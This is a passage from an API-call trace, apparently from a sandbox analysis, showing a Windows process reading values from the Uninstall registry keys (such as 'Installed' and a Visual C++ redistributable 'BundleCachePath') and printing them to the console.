returned 1 [0150.858] GetProcessHeap () returned 0x3c0000 [0150.858] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.858] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Installed", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x1, pcbData=0x29f780*=0x4) returned 0x0 [0150.858] __iob_func () returned 0x7fefd702a80 [0150.858] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.859] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.859] _fileno (_File=0x7fefd702ab0) returned 1 [0150.859] _errno () returned 0x204bb0 [0150.859] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.859] _errno () returned 0x204bb0 [0150.859] GetFileType (hFile=0x50) returned 0x1 [0150.859] lstrlenW (lpString=" ") returned 4 [0150.859] GetConsoleOutputCP () returned 0x1b5 [0150.859] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.859] GetConsoleOutputCP () returned 0x1b5 [0150.859] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.859] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.859] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.859] lstrlenW (lpString="Installed") returned 9 [0150.859] __iob_func () returned 0x7fefd702a80 [0150.859] _fileno (_File=0x7fefd702ab0) returned 1 [0150.859] _errno () returned 0x204bb0 [0150.859] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.860] _errno () returned 0x204bb0 [0150.860] GetFileType (hFile=0x50) returned 0x1 [0150.860] lstrlenW (lpString="Installed") returned 9 [0150.860] GetConsoleOutputCP () returned 0x1b5 [0150.860] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Installed", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0150.860] GetConsoleOutputCP () returned 0x1b5 [0150.860] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Installed", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Installed", lpUsedDefaultChar=0x0) returned 9 [0150.860] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0150.860] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.860] __iob_func () returned 0x7fefd702a80 [0150.860] _fileno (_File=0x7fefd702ab0) returned 1 [0150.860] _errno () returned 0x204bb0 [0150.860] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.860] _errno () returned 0x204bb0 [0150.860] GetFileType (hFile=0x50) returned 0x1 [0150.860] lstrlenW (lpString=" ") returned 4 [0150.860] GetConsoleOutputCP () returned 0x1b5 [0150.860] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.861] GetConsoleOutputCP () returned 0x1b5 [0150.861] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.861] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.861] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.861] __iob_func () returned 0x7fefd702a80 [0150.861] _fileno (_File=0x7fefd702ab0) returned 1 [0150.861] _errno () returned 0x204bb0 [0150.861] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.861] _errno () returned 0x204bb0 [0150.861] GetFileType (hFile=0x50) returned 0x1 [0150.861] lstrlenW (lpString="REG_DWORD") returned 9 [0150.861] GetConsoleOutputCP () returned 0x1b5 [0150.861] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0150.861] GetConsoleOutputCP () returned 0x1b5 [0150.861] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0150.861] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0150.861] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.861] __iob_func () returned 0x7fefd702a80 [0150.861] _fileno (_File=0x7fefd702ab0) returned 1 [0150.861] _errno () returned 0x204bb0 [0150.861] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.861] _errno () returned 0x204bb0 [0150.861] GetFileType (hFile=0x50) returned 0x1 [0150.862] lstrlenW (lpString=" ") returned 4 [0150.862] GetConsoleOutputCP () returned 0x1b5 [0150.862] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.862] GetConsoleOutputCP () returned 0x1b5 [0150.862] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.862] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.862] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.862] __iob_func () returned 0x7fefd702a80 [0150.862] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.862] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x1") returned 3 [0150.862] _fileno (_File=0x7fefd702ab0) returned 1 [0150.862] _errno () returned 0x204bb0 [0150.862] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.862] _errno () returned 0x204bb0 [0150.862] GetFileType (hFile=0x50) returned 0x1 [0150.862] lstrlenW (lpString="0x1") returned 3 [0150.862] GetConsoleOutputCP () returned 0x1b5 [0150.862] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0150.862] GetConsoleOutputCP () returned 0x1b5 [0150.863] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0150.863] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0150.863] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.863] __iob_func () returned 0x7fefd702a80 [0150.863] _fileno (_File=0x7fefd702ab0) returned 1 [0150.863] _errno () returned 0x204bb0 [0150.863] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.863] _errno () returned 0x204bb0 [0150.863] GetFileType (hFile=0x50) returned 0x1 [0150.863] lstrlenW (lpString="\n") returned 1 [0150.863] GetConsoleOutputCP () returned 0x1b5 [0150.863] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.863] GetConsoleOutputCP () returned 0x1b5 [0150.863] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.863] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.863] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.863] GetProcessHeap () returned 0x3c0000 [0150.863] GetProcessHeap () returned 0x3c0000 [0150.863] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.863] GetProcessHeap () returned 0x3c0000 [0150.863] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.863] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.863] __iob_func () returned 0x7fefd702a80 [0150.863] _fileno (_File=0x7fefd702ab0) returned 1 [0150.863] _errno () returned 0x204bb0 [0150.863] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.863] _errno () returned 0x204bb0 [0150.863] GetFileType (hFile=0x50) returned 0x1 [0150.864] lstrlenW (lpString="\n") returned 1 [0150.864] GetConsoleOutputCP () returned 0x1b5 [0150.864] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.864] GetConsoleOutputCP () returned 0x1b5 [0150.864] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.864] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.864] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.864] GetProcessHeap () returned 0x3c0000 [0150.864] GetProcessHeap () returned 0x3c0000 [0150.864] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d78d0) returned 1 [0150.864] GetProcessHeap () returned 0x3c0000 [0150.864] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d78d0) returned 0x2a [0150.864] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d78d0 | out: hHeap=0x3c0000) returned 1 [0150.864] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x29f894, lpcbMaxSubKeyLen=0x29f890, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x29f894*=0x0, lpcbMaxSubKeyLen=0x29f890, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0150.864] GetProcessHeap () returned 0x3c0000 [0150.864] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x2) returned 0x3dee90 [0150.864] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{e52a6842-b0ac-476e-b48f-378a97a67346}") returned 121 [0150.864] GetProcessHeap () returned 0x3c0000 [0150.864] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0xf6) returned 0x3e1c70 [0150.864] GetProcessHeap () returned 0x3c0000 [0150.864] GetProcessHeap () returned 0x3c0000 [0150.864] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.864] GetProcessHeap () returned 0x3c0000 [0150.864] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x2 [0150.864] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.864] GetProcessHeap () returned 0x3c0000 [0150.864] GetProcessHeap () returned 0x3c0000 [0150.864] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0150.864] GetProcessHeap () returned 0x3c0000 [0150.864] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0xf6 [0150.865] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70 | out: hHeap=0x3c0000) returned 1 [0150.865] RegCloseKey (hKey=0x5c) returned 0x0 [0150.865] RegEnumKeyExW (in: hKey=0x58, dwIndex=0x24, lpName=0x3dbc10, lpcchName=0x29f974, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpcchName=0x29f974, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0150.865] __iob_func () returned 0x7fefd702a80 [0150.865] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.865] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%s\n", _ArgList=0x29f910 | out: _Buffer="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\n") returned 122 [0150.865] _fileno (_File=0x7fefd702ab0) returned 1 [0150.865] _errno () returned 0x204bb0 [0150.865] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.865] _errno () returned 0x204bb0 [0150.865] GetFileType (hFile=0x50) returned 0x1 [0150.865] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\n") returned 122 [0150.865] GetConsoleOutputCP () returned 0x1b5 [0150.865] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\n", cchWideChar=122, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 122 [0150.865] GetConsoleOutputCP () returned 0x1b5 [0150.865] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\n", cchWideChar=122, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\n", lpUsedDefaultChar=0x0) returned 122 [0150.865] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 122 [0150.865] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.865] RegOpenKeyExW (in: hKey=0x58, lpSubKey="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", ulOptions=0x0, samDesired=0x20019, phkResult=0x29f978 | out: phkResult=0x29f978*=0x5c) returned 0x0 [0150.865] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f7e0, lpcbMaxValueNameLen=0x29f830, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f7e0*=0x14, lpcbMaxValueNameLen=0x29f830, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0150.865] GetProcessHeap () returned 0x3c0000 [0150.865] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x2a) returned 0x3d78d0 [0150.866] RegEnumValueW (in: hKey=0x5c, dwIndex=0x0, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="BundleCachePath", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.866] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundleCachePath", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0xac) returned 0x0 [0150.866] GetProcessHeap () returned 0x3c0000 [0150.866] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0xae) returned 0x3e1c70 [0150.866] GetProcessHeap () returned 0x3c0000 [0150.866] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0150.866] GetProcessHeap () returned 0x3c0000 [0150.866] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0xae [0150.866] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundleCachePath", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3e1c70, pcbData=0x29f780*=0xac | out: pdwType=0x29f700*=0x1, pvData="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe", pcbData=0x29f780*=0xaa) returned 0x0 [0150.866] __iob_func () returned 0x7fefd702a80 [0150.866] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.866] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.866] _fileno (_File=0x7fefd702ab0) returned 1 [0150.866] _errno () returned 0x204bb0 [0150.866] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.866] _errno () returned 0x204bb0 [0150.866] GetFileType (hFile=0x50) returned 0x1 [0150.866] lstrlenW (lpString=" ") returned 4 [0150.866] GetConsoleOutputCP () returned 0x1b5 [0150.866] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.866] GetConsoleOutputCP () returned 0x1b5 [0150.866] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.866] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.866] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.866] lstrlenW (lpString="BundleCachePath") returned 15 [0150.867] __iob_func () returned 0x7fefd702a80 [0150.867] _fileno (_File=0x7fefd702ab0) returned 1 [0150.867] _errno () returned 0x204bb0 [0150.867] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.867] _errno () returned 0x204bb0 [0150.867] GetFileType (hFile=0x50) returned 0x1 [0150.867] lstrlenW (lpString="BundleCachePath") returned 15 [0150.867] GetConsoleOutputCP () returned 0x1b5 [0150.867] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundleCachePath", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0150.867] GetConsoleOutputCP () returned 0x1b5 [0150.867] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundleCachePath", cchWideChar=15, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BundleCachePath", lpUsedDefaultChar=0x0) returned 15 [0150.867] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0150.867] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.867] __iob_func () returned 0x7fefd702a80 [0150.867] _fileno (_File=0x7fefd702ab0) returned 1 [0150.867] _errno () returned 0x204bb0 [0150.867] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.867] _errno () returned 0x204bb0 [0150.867] GetFileType (hFile=0x50) returned 0x1 [0150.867] lstrlenW (lpString=" ") returned 4 [0150.867] GetConsoleOutputCP () returned 0x1b5 [0150.867] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.867] GetConsoleOutputCP () returned 0x1b5 [0150.867] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.868] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.868] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.868] __iob_func () returned 0x7fefd702a80 [0150.868] _fileno (_File=0x7fefd702ab0) returned 1 [0150.868] _errno () returned 0x204bb0 [0150.868] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.868] _errno () returned 0x204bb0 [0150.868] GetFileType (hFile=0x50) returned 0x1 [0150.868] lstrlenW (lpString="REG_SZ") returned 6 [0150.868] GetConsoleOutputCP () returned 0x1b5 [0150.868] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.868] GetConsoleOutputCP () returned 0x1b5 [0150.868] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.868] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.868] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.868] __iob_func () returned 0x7fefd702a80 [0150.868] _fileno (_File=0x7fefd702ab0) returned 1 [0150.868] _errno () returned 0x204bb0 [0150.868] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.868] _errno () returned 0x204bb0 [0150.868] GetFileType (hFile=0x50) returned 0x1 [0150.868] lstrlenW (lpString=" ") returned 4 [0150.868] GetConsoleOutputCP () returned 0x1b5 [0150.868] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.868] GetConsoleOutputCP () returned 0x1b5 [0150.869] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.869] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.869] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.869] __iob_func () returned 0x7fefd702a80 [0150.869] _fileno (_File=0x7fefd702ab0) returned 1 [0150.869] _errno () returned 0x204bb0 [0150.869] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.869] _errno () returned 0x204bb0 [0150.869] GetFileType (hFile=0x50) returned 0x1 [0150.869] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe") returned 84 [0150.869] GetConsoleOutputCP () returned 0x1b5 [0150.869] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe", cchWideChar=84, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 84 [0150.869] GetConsoleOutputCP () returned 0x1b5 [0150.869] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe", cchWideChar=84, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe", lpUsedDefaultChar=0x0) returned 84 [0150.869] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 84 [0150.869] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.869] __iob_func () returned 0x7fefd702a80 [0150.869] _fileno (_File=0x7fefd702ab0) returned 1 [0150.869] _errno () returned 0x204bb0 [0150.869] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.869] _errno () returned 0x204bb0 [0150.869] GetFileType (hFile=0x50) returned 0x1 [0150.869] lstrlenW (lpString="\n") returned 1 [0150.870] GetConsoleOutputCP () returned 0x1b5 [0150.870] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.870] GetConsoleOutputCP () returned 0x1b5 [0150.870] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.870] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.870] fflush 